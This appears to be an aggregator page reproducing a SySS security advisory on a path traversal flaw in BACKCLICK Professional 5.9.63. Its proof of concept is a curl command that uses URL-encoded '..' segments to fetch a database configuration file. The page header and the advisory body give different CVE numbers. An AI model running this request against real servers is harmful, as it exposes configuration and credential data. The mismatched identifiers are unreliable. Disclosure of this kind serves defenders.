http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQEzBAEBCgAdFiEELI/xAZ13veZGXszCdo7+K7PlPdoFAmNkyT8ACgkQdo7+K7Pl PdoUcQgAmkLcYECw1WDOxDBfpVXz0ILf+nHb7BsNN4/j7Djv5e9suWItHReNzjUV hqHnZ04Fc5HEkv0gH3DNHd9BxrcI7OirOVaJc9knOBKF2fWLBhnm5TDffzO1axqt 4c/LA6SDmLCJZleAQr6L6/0SgJnsqwnsJcRQEdKKPzgLqSd6jSYJjCNhDm6hQ7Nr skRqhRl/l4bnQjSxOeNmmV+eh96YwvnLVOyszpG+P7f35x7GqoA4PGDJhHGcRGoD oNzPg+g9XkjEIO9I4aRjUswvkFiMnRvfRp97Dk5k2SFb3gD7mTFDEG4bjoIGJp2y lug968BHANY+Iy0HRNCOGN8ka7yYOQ== =XTDQ -----END PGP SIGNATURE-----

CVE-2022-43999

An issue was discovered in BACKCLICK Professional 5.9.63. Due to improper validation, arbitrary local files can be retrieved by accessing the back-end Tomcat server directly.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ﻿Advisory ID: SYSS-2022-037 Product: BACKCLICK Manufacturer: BACKCLICK GmbH Tested Version(s): BACKCLICK Professional 5.9.63 (On-Premises) Vulnerability Type: CWE-23: Relative Path Traversal Risk Level: Medium Solution Status: Unknown Manufacturer Notification: 2022-05-25 Public Disclosure: 2022-11-14 CVE Reference: CVE-2022-44008 Author of Advisory: Moritz Bechler, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: BACKCLICK is a web application used for e-mail marketing and the creation of newsletters. The German manufacturer describes the product as follows (see \[1\]): "BACKCLICK ist eine webbasierte Enterprise E-Mail Marketing Lösung und Newsletter Software, mit der Sie online E-Mail Kampagnen und Newsletter erstellen und an Ihre Kunden versenden können." Due to improper validation, arbitrary local files can be retrieved by accessing the back-end Tomcat server directly. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: Asset files are delivered using an error handler for HTTP 404 through ImageDisplayServlet. While a check for directory traversal is in place, URL decoding is performed after that check. The check can therefore be bypassed by URL-encoding the desired path components. Due to encoding normalization, this issue did not appear to be exploitable when the host is accessed through the Apache reverse proxy. However, the Tomcat listener is also reachable over the network. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The database configuration file can be retrieved over Tomcat's HTTP interface, for example using curl: - ----- $ curl --path-as-is http://:8080/bc/assets/%2e%2e/META-INF/db-config.xml mysql\_innodb \[...\] 3306 backclick \[...\] - ---- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Contact vendor for solution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-05-25: Vulnerabilities reported to manufacturer 2022-06-28: Advisories provided again, as originals were not received 2022-07-20: Confirmation, inquiry regarding reproduction of one issue 2022-11-14: No more information received, public disclosure of vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: \[1\] Product website for BACKCLICK https://www.backclick.de/ \[2\] SySS Security Advisory SYSS-2022-037 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-037.txt \[3\] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Bechler of SySS GmbH. E-Mail: moritz.bechler@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz\_Bechler.asc Key ID: 0x768EFE2BB3E53DDA Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQEzBAEBCgAdFiEELI/xAZ13veZGXszCdo7+K7PlPdoFAmNkyT8ACgkQdo7+K7Pl PdoJ1ggAp0bPh2PGp6ZAKXsvWD8wRPc65xwvLVTXlgAP+xarIXb5O87o57MzsxjK R66hrkN2KpyF61xAHNTEhXKitt8BKmEQAUl2ZgrB/jWj2QEllR74Iyw13msok6CR 7lHcE3MdU/6lSaddRnXIMZ1oW6rGdf9Co8zNorRx9OC1mnp42rvTPDs+66jxbX4b Qs5SaMWnahk4LOf6Zpprjv1dHokaO1xpcCnQTocb1Dhie+d956EGPwoflwmepgXQ cjSoOmrOdKMTLwdvFiH/Pgm0Kg8p9NhmrkuubgmfLVwIWdhTMlS5koaiIDeDymSc 06h1kPOPw/ksj4fYolvWi+QjYjldAQ== =fyIi -----END PGP SIGNATURE-----

Tag

#js